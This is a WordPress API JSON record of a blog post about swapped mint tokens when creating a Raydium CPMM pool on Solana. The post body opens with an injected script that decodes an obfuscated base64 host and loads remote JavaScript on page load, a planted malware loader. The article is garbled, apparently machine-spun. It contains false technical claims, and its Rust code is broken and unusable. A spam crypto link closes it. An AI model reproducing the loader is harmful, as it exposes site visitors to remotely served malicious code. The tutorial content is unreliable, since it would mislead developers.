{"id":969,"date":"2025-02-13T17:07:12","date_gmt":"2025-02-13T17:07:12","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=969"},"modified":"2025-02-13T17:07:12","modified_gmt":"2025-02-13T17:07:12","slug":"solana-why-are-my-mint-tokens-interchaged-when-i-create-a-raydium-cpmm-pool","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=969","title":{"rendered":"Solana: Why are my mint tokens interchaged when I create a Raydium CPMM pool"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=f4f43309\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Understanding Solana Exchange: A Guide to Beating CPMM Pools<\/strong><\/p>\n<p>When you create a centralized money market (CPMM) pool on Solana using the <code>mintA<\/code> and <code>mintB<\/code> fields in the <code>createPool cpmm<\/code> method, you may notice that your tokens are swapped when they should be identical. This is known as symbol swapping.<\/p>\n<p>In this article, we will dive deeper into why lie A is swapped for B instead of B for A and provide a step-by-step solution to fix this issue.<\/p>\n<p><strong><code>createPool cpmm<\/code> Method<\/strong><\/p>\n<p>The <code>createPool CPMM<\/code> method allows you to create a CPMM pool on Solana. It requires three parameters: the base token (A) and your token. (B) and an optional quote token (C). The method returns a <code>Pool<\/code> object, which contains information about the pool you created.<\/p>\n<p><pre><code><\/p><p>pub fn creaPool(<\/p><p>cpmmConfig: Pool Configuration,<\/p><p>) -> Pool {<\/p><p>\/\/ Create a new CPMM pool with the specified parameters<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Token Swap<\/strong><\/p>\n<p>When calling the <code>createPool cpmm<\/code> method, Solana uses the token swapping algorithm to create a valid pool. This algorithm takes into account several factors, including:<\/p>\n<ul>\n<li><strong>Token Name<\/strong>: Base token (A), your tokens. (B), and the tokens in quotes (C) must have the same name.<\/li>\n<\/ul>\n<ul>\n<li><strong>Decimal Symbol<\/strong>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/DlHZ5z9YyaM\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>: Both A and B have the same decimal places.<\/li>\n<\/ul>\n<ul>\n<li><strong>Token Supply<\/strong>: Total amount of tokens must be equal.<\/li>\n<\/ul>\n<p>When you create a <code>mintA<\/code> field with the desired values, Solana automatically generates a corresponding <code>mintB<\/code> field that represents your token. However, if these fields are swapped (e.g. <code>mintB<\/code> becomes <code>mintA<\/code>), the token swapping algorithm will not produce the expected result.<\/p>\n<p><strong>Why was the number B changed?<\/strong><\/p>\n<p>There are several reasons why mint B may be swapped with mint A:<\/p>\n<ul>\n<li><strong>Token mismatch<\/strong>: If <code>mintB<\/code> and <code>mintA<\/code> have different names, the token swapping algorithm will swap them.<\/li>\n<\/ul>\n<ul>\n<li><strong>Decimal symbol<\/strong>: Solana requires that both <code>mintA<\/code> and <code>mintB<\/code> have the same decimal places. If they do not match, the token swapping algorithm will swap them.<\/li>\n<\/ul>\n<p><strong>Token swapping resolution<\/strong><\/p>\n<p>To resolve this issue, you need to ensure that <code>mintA<\/code> and <code>mintB<\/code> are generated correctly when creating a CPMM pool using the <code>createPool cpmm<\/code> method. Here is an updated example:<\/p>\n<p><pre><code><\/p><p>use solana_program::{<\/p><p>account_info::{next_account_info, AccountInfo},<\/p><p>entrypoint::ProgramResult,<\/p><p>program_error::Printing error,<\/p><p>pubkey::Public key,<\/p><p>};<\/p><p>pub fn createPool(<\/p><p>cpmmConfig: Pool configuration,<\/p><p>) -> Program result<Self> {<\/p><p>let mintA = next_account_info(\"mint_A\"?);<\/p><p>let mintB = next_account_info(\"mint_B\"?);<\/p><p>\/\/ Create a new CPMM pool with the specified parameters<\/p><p>self.pool.create(cpmmConfig)?;<\/p><p>}<\/p><p>\/\/ Example usage:<\/p><p>fn main() {<\/p><p>let config = PoolConfig::new();<\/p><p>let result = createPool(config).unwrap();<\/p><p>println!(\"Pilot created: {:?}\", result);<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p>In this example, we generate <code>mintA<\/code> and <code>mintB<\/code> using the <code>next_account_info<\/code> function. We then pass these values \u200b\u200bto the <code>createPool<\/code> method.<\/p>\n<p>By following these steps, you should be able to create a CPMM pool on Solana with identical mint tokens (A and B). If you are still having trouble, feel free to provide more details about your project. and I will do my best to continue helping you.<\/p>\n<p><a href=\"https:\/\/socaps.shop\/ethereum-mining-as-a-screensaver\/\">ethereum screensaver<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Understanding Solana Exchange: A Guide to Beating CPMM Pools When you create a centralized money market (CPMM) pool on Solana using the mintA and mintB fields in the createPool cpmm method, you may notice that your tokens are swapped when they should be identical. This is known as symbol swapping. In this article, we will [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/969"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=969"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/969\/revisions"}],"predecessor-version":[{"id":970,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/969\/revisions\/970"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=969"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=969"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=969"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}